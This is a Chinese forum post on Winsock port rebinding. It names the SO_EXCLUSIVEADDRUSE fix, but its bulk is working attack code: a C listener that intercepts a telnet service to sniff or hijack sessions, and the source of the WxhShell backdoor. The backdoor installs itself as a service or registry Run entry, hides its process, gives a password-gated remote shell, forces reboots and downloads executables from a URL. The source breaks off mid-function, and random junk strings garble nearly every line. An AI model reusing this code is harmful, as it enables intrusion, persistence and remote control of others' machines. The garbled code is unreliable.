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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XX;4A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .p`4>XA  
"}]`64?  
  saddr.sin_family = AF_INET; # kI>  
R#(0C(FI^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F /b`[  
X>%nzY]m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3P>gDQP  
_`$LdqgE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  )vr@:PE  
j)1yv.  
  这意味着什么?意味着可以进行如下的攻击: ]-PzN'5\'  
I0=_=aZO(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gwZ<$6  
&4'< {  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'nJF:+30ZH  
*p l6 V|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E$d3+``  
^\)a[OWp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HDyf]2N*N  
-DDA b(2*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xVvUx,t  
0oe<=L]F  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .{Y;6]9[  
]wQ!ZG?)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `h}eP[jA  
TFVQfj$r  
  #include &}ZmT>q`$  
  #include N,ht<l\  
  #include E3L?6Qfx>  
  #include    I8F+Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);    K +7  
  int main() H/8^Fvd  
  { ]5W$EvZ9)  
  WORD wVersionRequested; lwnO  
  DWORD ret; ;#B(L=/  
  WSADATA wsaData; I8*VM3  
  BOOL val; ;'!x  
  SOCKADDR_IN saddr; t@RYJmW  
  SOCKADDR_IN scaddr; St=nf\P&F  
  int err; ;%|im?  
  SOCKET s; ;D5>iek5  
  SOCKET sc; T.q2tC[bR  
  int caddsize; 7GA8sK  
  HANDLE mt; Wj{lb_Rj  
  DWORD tid;   vr!J3H f  
  wVersionRequested = MAKEWORD( 2, 2 ); 91 jRIB  
  err = WSAStartup( wVersionRequested, &wsaData ); Y~~Dg?e  
  if ( err != 0 ) { 9#LMK 1ge  
  printf("error!WSAStartup failed!\n"); ,OZ  
  return -1; .^YxhUH,G  
  } p_r`"  
  saddr.sin_family = AF_INET; 337.' |ZE  
   ROO*/OOd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?7{U=1gb$  
| %_C$s%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *% -<Ldv  
  saddr.sin_port = htons(23); .soCU8i3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }A9#3Y|F  
  { Xj?Wvt  
  printf("error!socket failed!\n"); QxT'\7f  
  return -1; ~%hdy @  
  } *miG<  
  val = TRUE; #ydold{F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hW7u#PY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9O[IR)O~  
  { [X(m[u'%  
  printf("error!setsockopt failed!\n"); OY*y<>  
  return -1; 4^_6~YP7  
  } 8&QST!JGSX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C|{Sj`,XG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P jQl(v&O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LPs%^*8(2  
$+eeE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N#w5}It  
  { Iil2R}1  
  ret=GetLastError(); WR+j?Fcf  
  printf("error!bind failed!\n"); Wzq W1<*`  
  return -1; 5C w( 4.  
  } p^l#Wq5  
  listen(s,2); zcpL[@B  
  while(1) dg D-"-O  
  { !_glZ*tL  
  caddsize = sizeof(scaddr); Q+CJd>B  
  //接受连接请求 2j\_svw'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [V}vd@*k  
  if(sc!=INVALID_SOCKET) :4AQhn^;"  
  { F)P:lvp<r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QE]@xLz   
  if(mt==NULL) l;F"m+B!$  
  { b3N IFKw  
  printf("Thread Creat Failed!\n"); x/QqG1q  
  break; eSPS3|YYn  
  } $KcAB0 B8  
  } "tEp8m  
  CloseHandle(mt); 1N5 E  
  } '2,~'Zk  
  closesocket(s); opX07~1  
  WSACleanup(); FlO?E3d  
  return 0; O[X*F2LC4  
  }   :@w~*eK~  
  DWORD WINAPI ClientThread(LPVOID lpParam) :J;U~emq  
  { ~Nh6po{  
  SOCKET ss = (SOCKET)lpParam; F`}'^>  
  SOCKET sc; )! [B(  
  unsigned char buf[4096]; " <bjS  
  SOCKADDR_IN saddr; ]+lT*6P*  
  long num; 8lQ/cGAc  
  DWORD val; hzD)yf  
  DWORD ret; Q\oa<R D5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~z^l~Vyg?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }gSoBu  
  saddr.sin_family = AF_INET; *oO%+6nL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t Cuvb  
  saddr.sin_port = htons(23); ra^</o/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m:_#kfC&K"  
  { v[CR$@Y  
  printf("error!socket failed!\n"); qxRsq&_  
  return -1; lL}6IZ5sb  
  } >=k7#av  
  val = 100; a%q,P @8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %PW-E($o<  
  { :?f<tNU$  
  ret = GetLastError(); k|fM9E  
  return -1; 5 nt3gVy  
  } 01Jav~WR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >N3X/8KL%  
  { EeaJUK]z9  
  ret = GetLastError(); C&O8fNB_  
  return -1; )Rr6@o  
  } ,Csdon  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]t[%.^5#  
  { H )X[%+  
  printf("error!socket connect failed!\n"); v}>g* @  
  closesocket(sc); +=WBH'  
  closesocket(ss); _ep&`K  
  return -1; ,~L*N*ML  
  } zU5@~J  
  while(1) ^C gg1e1  
  { |:)Bo<8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W83d$4\d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3qV^RW&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 piIZ*@'  
  num = recv(ss,buf,4096,0); t%@iF U;}  
  if(num>0) b~;:[ #  
  send(sc,buf,num,0); Ust +g4  
  else if(num==0) :GvC#2 p  
  break;  ;LS.  
  num = recv(sc,buf,4096,0); -6MPls+  
  if(num>0) -=-^rQx9  
  send(ss,buf,num,0); sBlq)h;G?6  
  else if(num==0) lh-.I]>&`  
  break; Vy& X1lG:  
  } Ehy(;n)\  
  closesocket(ss); TF%n1H-sF  
  closesocket(sc); c((3B  
  return 0 ; (JU8F-/9  
  } (4Db%Iw  
za>%hZf\  
P, x" ![6  
========================================================== |E13W  
]W3u~T*  
下边附上一个代码,,WXhSHELL df{?E):  
l@4pZkdq  
========================================================== e"@r[pq-{u  
G-CL \G\n  
#include "stdafx.h" D(z#)oDr  
AB $N`+&  
#include <stdio.h> (~@.9&cBD  
#include <string.h> >$kFYb>~q  
#include <windows.h> erI&XI  
#include <winsock2.h> W{Qb*{9  
#include <winsvc.h> {UH45#Ua  
#include <urlmon.h> THl:>s  
Tp;W  
#pragma comment (lib, "Ws2_32.lib") :M6|V_Yp  
#pragma comment (lib, "urlmon.lib") :F d1k Jm  
TT/=0^"  
#define MAX_USER   100 // 最大客户端连接数 &"u(0q  
#define BUF_SOCK   200 // sock buffer 7Kym|Zg  
#define KEY_BUFF   255 // 输入 buffer t{,$?}  
2NFk#_9e~  
#define REBOOT     0   // 重启 !fs ~ >  
#define SHUTDOWN   1   // 关机 %g*nd#wG  
K-YxZAf  
#define DEF_PORT   5000 // 监听端口 *wAX&+);  
E[hSL#0  
#define REG_LEN     16   // 注册表键长度 do`'K3a"  
#define SVC_LEN     80   // NT服务名长度 }51QUFhL0  
 -raK  
// 从dll定义API \,v^v]|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !,- 'wT<v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zGe =l;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C,,T7(: k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^uX"04>;  
BTsvL>Wy  
// wxhshell配置信息 xb7!!PR  
struct WSCFG { bLTX_ R  
  int ws_port;         // 监听端口 W'Gh:73'}  
  char ws_passstr[REG_LEN]; // 口令 ^PdD-tY<  
  int ws_autoins;       // 安装标记, 1=yes 0=no "P.sK huo  
  char ws_regname[REG_LEN]; // 注册表键名  [6@bsXiw  
  char ws_svcname[REG_LEN]; // 服务名 Sw$&E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6oKlr,.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +%CXc%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *3^7'^j<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E; yr46  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2w8YtM3+"z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j %MY6"  
DN8I[5O  
}; Z=hn }QY.(  
ZSlK   
// default Wxhshell configuration ?:q"qwt$F  
struct WSCFG wscfg={DEF_PORT, [3irr0D7l  
    "xuhuanlingzhe", Jv(E '"H  
    1, z@~Z Mk  
    "Wxhshell", 8<Nz34Y  
    "Wxhshell", 0?R$>=u  
            "WxhShell Service", d+Mogku2  
    "Wrsky Windows CmdShell Service", *{JD= ua  
    "Please Input Your Password: ", =5:vKL j  
  1, 7d{xXJ-  
  "http://www.wrsky.com/wxhshell.exe", Yy!G?>hC  
  "Wxhshell.exe" %jUZc:06  
    }; E.'6p \  
Gj#BG49g2  
// 消息定义模块 )p!") :'fv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >yyu:dk-;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1>_$O|dE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -8:O?]+Q/  
char *msg_ws_ext="\n\rExit."; WbFCj0  
char *msg_ws_end="\n\rQuit."; <q MX,h2  
char *msg_ws_boot="\n\rReboot..."; q q^[(n  
char *msg_ws_poff="\n\rShutdown..."; u 'ng'j'  
char *msg_ws_down="\n\rSave to "; YC{7;=P f  
Q2|6WE  
char *msg_ws_err="\n\rErr!"; @8YuMD;  
char *msg_ws_ok="\n\rOK!"; uPFbKSJj  
48gpXcc@|  
char ExeFile[MAX_PATH]; z:n JN%Qb  
int nUser = 0; I%?M9y.u6  
HANDLE handles[MAX_USER]; Q1h v2*/U  
int OsIsNt; 7Aw <:  
J_ h\tM  
SERVICE_STATUS       serviceStatus; 8=\k<X{`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q<osYO{l  
<!u(_Bxw/  
// 函数声明 cP21x<n  
int Install(void); #.j:P#  
int Uninstall(void); 9Up> e  
int DownloadFile(char *sURL, SOCKET wsh); Rlr[uU_  
int Boot(int flag); Cn9MboXX  
void HideProc(void); ht:L L#b*(  
int GetOsVer(void); =0@o(#gM  
int Wxhshell(SOCKET wsl); Mi!ak  
void TalkWithClient(void *cs); ']Km%uwL  
int CmdShell(SOCKET sock); 3e[k9`  
int StartFromService(void); [xs`Pi  
int StartWxhshell(LPSTR lpCmdLine); d{^K8T3  
ZDr TPnA[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *!EHs04  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5o|u!#6  
 GwD"j]  
// 数据结构和表定义 L'BzefU;04  
SERVICE_TABLE_ENTRY DispatchTable[] = TI'~K}Te  
{ {-IRX)m*  
{wscfg.ws_svcname, NTServiceMain}, YkV-]%c  
{NULL, NULL} %D^j7`Z  
}; (w'k\y  
[s!cc:JR  
// 自我安装 KrECAc  
int Install(void) @0:mP  
{ M+Y^A7  
  char svExeFile[MAX_PATH]; Z*5]qh2r8  
  HKEY key; FLlL0Gu  
  strcpy(svExeFile,ExeFile); I8hmn@ce  
*u<@_Oa  
// 如果是win9x系统,修改注册表设为自启动 RG_)<U/B  
if(!OsIsNt) { V> eJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =1kjKE !  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1n ZE9;o  
  RegCloseKey(key); $r)nvf`\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 64!V8&Ay  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !91<K{#A{  
  RegCloseKey(key); ]_)=xF19  
  return 0; Lop=._W  
    } VM ny>g&3  
  } T|nN.  
} qo;F]v*pkK  
else { > cJX'U9  
Sytx9`G 5  
// 如果是NT以上系统,安装为系统服务 I=`efc]T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |}roR{gc|  
if (schSCManager!=0) jdDcmR  
{ yIThzy S  
  SC_HANDLE schService = CreateService @*LESN>T@t  
  ( +hvVoBCM*  
  schSCManager, ?9H.JR2s%  
  wscfg.ws_svcname, ~Urj:l  
  wscfg.ws_svcdisp, yYTiAvN  
  SERVICE_ALL_ACCESS, ">RDa<H]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <$;fOp  
  SERVICE_AUTO_START, 8>jd2'v{  
  SERVICE_ERROR_NORMAL, Y-,1&$&  
  svExeFile, 0r\hX6 k  
  NULL, )%OV|\5#  
  NULL, whg?X&j\V  
  NULL, K31rt-IIt  
  NULL, aKCXV[PO   
  NULL A&0sD}I\K  
  ); Uz!cVs?-  
  if (schService!=0) 7,"1%^tU  
  { xF{<-b  
  CloseServiceHandle(schService); =M9Od7\J  
  CloseServiceHandle(schSCManager); 'W j Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dkf?lmC+M  
  strcat(svExeFile,wscfg.ws_svcname); K`1\3J)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WaWx5Fx+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9X{aU)"omQ  
  RegCloseKey(key); t UW'E  
  return 0; }%rz"kB  
    } P8s'e_t  
  } \bb,gRfP  
  CloseServiceHandle(schSCManager); !$+J7\& 7p  
} dDk<J;~jGJ  
} M+^+u 1QQ0  
\G*vY#]  
return 1; S,v9\wN.  
} NC2PW+(  
`ml;#n,*  
// 自我卸载 P z+8u&~p  
int Uninstall(void) I|$_[Sw  
{ 2S8/ lsB  
  HKEY key; nmN6RGx  
'bg%9}  
if(!OsIsNt) { 9W7H",wR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B)"WG7W E  
  RegDeleteValue(key,wscfg.ws_regname); gGdZ}9  
  RegCloseKey(key); S*CRVs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kc\0-3 Z  
  RegDeleteValue(key,wscfg.ws_regname); G\IH b |  
  RegCloseKey(key); W"WvkW>-  
  return 0; )5X7|*LP  
  } n/UyMO3=  
} BiHBu8<  
} _"F(w"|  
else { 4S.%y7d\  
NzRL(A6V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BZx#@356N  
if (schSCManager!=0) A\.M/)Qo  
{ M ~!*PCd5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (F7!&]8%  
  if (schService!=0) J74 nAC%J^  
  { rYq8OZLi  
  if(DeleteService(schService)!=0) { 4Kt?; y ;  
  CloseServiceHandle(schService); '89D62\89  
  CloseServiceHandle(schSCManager); `&>!a  
  return 0; YrgwR  
  } O`mW,  
  CloseServiceHandle(schService); KFCzf_P!  
  } yZ+o7?(2p  
  CloseServiceHandle(schSCManager); 5NeEDY 2%#  
} 'F[QE9]*  
} `)H.TMI   
=J?<M?ugf  
return 1; 4- 6'  
} )r1Z}X(#d  
+2W#= G  
// 从指定url下载文件 %-T]!3"n  
int DownloadFile(char *sURL, SOCKET wsh) Ar=pzQ<Z{  
{ T cSj `-  
  HRESULT hr; e[n T'e  
char seps[]= "/"; JT<Ia  
char *token; >1mCjP  
char *file; o,Ew7~u  
char myURL[MAX_PATH]; XUUS N  
char myFILE[MAX_PATH]; wEzLfZ Oz/  
k2*^W&Z  
strcpy(myURL,sURL); 6576RT  
  token=strtok(myURL,seps); R_ 4600  
  while(token!=NULL) G m<t2Csn  
  { Ra_6}k  
    file=token; 0/(YH  
  token=strtok(NULL,seps); 35jP</  
  } P RX:*0  
XX}RbE#4  
GetCurrentDirectory(MAX_PATH,myFILE); } "y{d@  
strcat(myFILE, "\\"); 94|BSxc  
strcat(myFILE, file); FJ>| l#nO  
  send(wsh,myFILE,strlen(myFILE),0); m=NX;t  
send(wsh,"...",3,0); yNY1g?E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0R*  
  if(hr==S_OK) jB?Tua$,s  
return 0; 2J|Yc^b6  
else uu=e~K  
return 1; |n67!1  
AytHnp\H  
} G*Z4~-E4*  
Dw6Q2Gnv  
// 系统电源模块 xp>r a2A  
int Boot(int flag) tM ]qR+  
{ jr@<-.  
  HANDLE hToken; 6]Ppa ~Xwq  
  TOKEN_PRIVILEGES tkp; tq>QZEg  
eyl+D sK  
  if(OsIsNt) { ga~rllm;i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Sjj &n S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qz(0iZ]Y  
    tkp.PrivilegeCount = 1; Ge[N5N>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S4`uNB#Ht  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q^goi 1  
if(flag==REBOOT) { ; >.>vLF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =}U`q3k  
  return 0; M.!U;U<?  
} kY4riZnm  
else { ep,kImT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~++y4NB8Q  
  return 0; H-0A&oG  
} ,p>=WX  
  } i~.L{K  
  else { /[t]m,p$yq  
if(flag==REBOOT) { =Q Otag1;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `2d,=.X  
  return 0; PS!f&IY}[.  
} n>Q/XQXB  
else { eA#J7=eC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [ZOo%"M_Y  
  return 0; <q%buyQna  
} d5+ (@HSR  
} .v0.wG  
RP z0WP  
return 1; SgFyv<6>:  
} Y-@K@Zu]?  
p?=rQte([  
// win9x进程隐藏模块 +!dIEt).U  
void HideProc(void) (PE"_80Z  
{ @+:S'mAQC  
vXRfsv y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !2tZ@ p|  
  if ( hKernel != NULL ) x>;! `}x  
  { ^ ,U9N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VL&E2^*E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "M6:)h9jV  
    FreeLibrary(hKernel); 4vW:xK  
  } !YsL x[+  
O,]t.1V  
return; q%"]}@a0  
} QpAK]  
;0P2nc:U~  
// 获取操作系统版本 #: w/vk  
int GetOsVer(void) 6}n>Nb;L"  
{ G;qC& 7T  
  OSVERSIONINFO winfo; @q],pD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *" >e k k  
  GetVersionEx(&winfo); kdITh9nx<r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S;MS,R  
  return 1; d9sl(;r  
  else T Jp(  
  return 0; QrHI}r  
} O:q 0-  
= %\;7  
// 客户端句柄模块 2r,K/'  
int Wxhshell(SOCKET wsl) |wKZ-6  
{ g(>;Z@Y  
  SOCKET wsh; /H^=`[Mr  
  struct sockaddr_in client; Pj8s;#~u  
  DWORD myID; TfDx> F$  
7y&Fb  
  while(nUser<MAX_USER) qeb:n$  
{ |k{?\(h;  
  int nSize=sizeof(client); mfIY7DP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x0?8AG%  
  if(wsh==INVALID_SOCKET) return 1; i_)j K  
88$G14aXEk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1K"``EvNB  
if(handles[nUser]==0) KFkKr>S :  
  closesocket(wsh); "$;=8O5O  
else "/[-U;ck  
  nUser++; 2d>kc2=*  
  } KtA0 8?B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w6'o<=  
nMNAn}~*M  
  return 0; sF C&DTb?  
} j,8*Z~\5  
!r,ZyJU  
// 关闭 socket Jb#*QJ=  
void CloseIt(SOCKET wsh) |)} F}~&  
{ PnJr  
closesocket(wsh); 5^t68 WOl  
nUser--; A5Qzj]{ba  
ExitThread(0); dur}3oS0p  
} TSt-#c4B  
.1XZ9M  
// 客户端请求句柄 Hz`rw\\Xq  
void TalkWithClient(void *cs) B)Hs>Mh|W  
{ $M@SZknm  
p)(mF"\8=  
  SOCKET wsh=(SOCKET)cs; .[? E1we  
  char pwd[SVC_LEN]; muwXzN(KX  
  char cmd[KEY_BUFF]; )Mx[;IwE  
char chr[1]; U#gHc:$  
int i,j; l[.*X  
>&f .^p  
  while (nUser < MAX_USER) { gEcVQPD@  
(9CB&LZ(+E  
if(wscfg.ws_passstr) { '""qMRCm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pv~XZ(J.1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U SXz  
  //ZeroMemory(pwd,KEY_BUFF); hY7Q$B<  
      i=0; LS{g=3P0  
  while(i<SVC_LEN) { zU:zzT}|TZ  
{6!Mf+Xq  
  // 设置超时 yb2*K+Kv  
  fd_set FdRead; =3?t%l;n  
  struct timeval TimeOut; t48(,  
  FD_ZERO(&FdRead); i,NN"  
  FD_SET(wsh,&FdRead); 5r.\maW  
  TimeOut.tv_sec=8; y, tA~  
  TimeOut.tv_usec=0; H'-Fv!l?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7 6~x|6)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X's-i!  
VHsuC$3W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c2Ua!p(c  
  pwd=chr[0]; I1=YSi;A  
  if(chr[0]==0xd || chr[0]==0xa) { >G92k76G  
  pwd=0; 6A7UW7/  
  break; %f\ M61Z  
  } E1_FK1*V;  
  i++; !T@>Ld:  
    } /7De .O~H  
=i~/.Nu&  
  // 如果是非法用户,关闭 socket DKqFe5rw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !g e,]@/  
} %@'9<i8o  
v_J\yW'K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o^wj_#ai$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WZ&/l 65J  
|j&u2DM~#m  
while(1) { 'D#}ce)s#  
vQ^a7  
  ZeroMemory(cmd,KEY_BUFF); PorBB7iL  
&STgj|t_  
      // 自动支持客户端 telnet标准   H6 ( ~6Bp5  
  j=0; B< P H7  
  while(j<KEY_BUFF) { d~tG#<^`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k[R/RhHQ,  
  cmd[j]=chr[0]; z kYl IUD  
  if(chr[0]==0xa || chr[0]==0xd) { g-U'{I5F  
  cmd[j]=0; O?p.kf{b  
  break; Mc oHV]x  
  } p+@Wh3  
  j++; )p4o4 aM  
    } a"&@G=M@d  
4NUCLr7Y  
  // 下载文件 e2*0NT^R  
  if(strstr(cmd,"http://")) { &_HSrU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z7"8dlb  
  if(DownloadFile(cmd,wsh)) #M&rmKv)g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &NZN_%  
  else JXUnhjB,B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g3 6oEz~|  
  } 8Y3c,p/gS>  
  else { k{Vc5F  
`0 uKJF g  
    switch(cmd[0]) { z{bMW^F  
  ]|<PV5SY3.  
  // 帮助 V:9|9$G  
  case '?': { J4 .C"v0a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c!T^JZBb  
    break; HWT0oh]  
  } ^*"&e\+p  
  // 安装 M7/P&d  
  case 'i': { p%+ 0^]v1  
    if(Install()) "zc@(OA[z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $TU=^W)X  
    else d?Gf T$1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ v44Vmfz  
    break; "B*a| 'n!  
    } ,w,>pO'[  
  // 卸载 #R4Mv(BG  
  case 'r': { I: U/%cr,  
    if(Uninstall()) HAEgR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F8Z<JcOI  
    else h#@l'Cye  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B~^MhX +j  
    break; y GT"k,a  
    } J0a]Wz%  
  // 显示 wxhshell 所在路径 Z2)f$ c  
  case 'p': { x9xb4ZW  
    char svExeFile[MAX_PATH]; &{9'ylv-B)  
    strcpy(svExeFile,"\n\r"); LG'JQGl5  
      strcat(svExeFile,ExeFile); U8]L3&~  
        send(wsh,svExeFile,strlen(svExeFile),0); X5U_|XK6Y  
    break; T#6']D  
    } q#LwM]<.@>  
  // 重启 vD D !.i  
  case 'b': { m8n!<_NFt(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y;6<AIx>  
    if(Boot(REBOOT)) #QXv[%k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wg[?i C*~  
    else { @^a6^*X>  
    closesocket(wsh); gn1`ZYg  
    ExitThread(0); o+;=C@,'  
    } \=Af AO@  
    break; zT#36+_?  
    } '!Ps4ZTn_  
  // 关机 T~cq=i|O  
  case 'd': { $^ (q0zR~l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Iwi>yx8  
    if(Boot(SHUTDOWN)) X_C9Z  
